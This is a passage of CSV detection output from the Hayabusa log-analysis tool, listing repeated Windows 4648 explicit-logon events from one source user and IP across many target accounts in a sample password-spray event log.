DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:23.577 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:24.660 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:25.732 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:26.794 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:27.863 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:28.925 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:29.993 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:31.050 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:32.142 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:33.206 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:34.265 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:35.340 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:36.403 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:37.453 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:38.533 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:39.613 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:40.691 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:41.769 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:42.852 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:43.922 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:44.998 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:46.080 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:47.159 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:48.237 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:49.314 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:50.388 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:51.455 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:52.532 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:53.613 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:54.668 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:55.714 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:56.768 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:57.850 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:58.920 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:00.029 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:01.113 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:02.172 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:03.238 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:04.300 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:05.378 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:06.439 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:07.513 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:08.581 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:09.674 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:10.754 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:11.843 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:12.917 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:13.987 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:15.045 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:16.136 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:17.201 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:18.302 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:19.372 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:20.450 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:21.552 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:22.656 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:23.749 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:24.832 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:25.919 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:26.998 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:28.103 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:29.187 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:30.262 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:31.362 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:32.419 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:33.499 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:34.577 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:35.670 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:36.716 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:37.815 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:38.872 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:39.954 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:41.028 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:42.075 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:43.142 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:44.208 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:45.284 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:46.379 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:47.433 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:48.512 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:49.576 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:50.656 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:51.729 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:52.823 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:53.886 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:54.942 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:56.019 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: 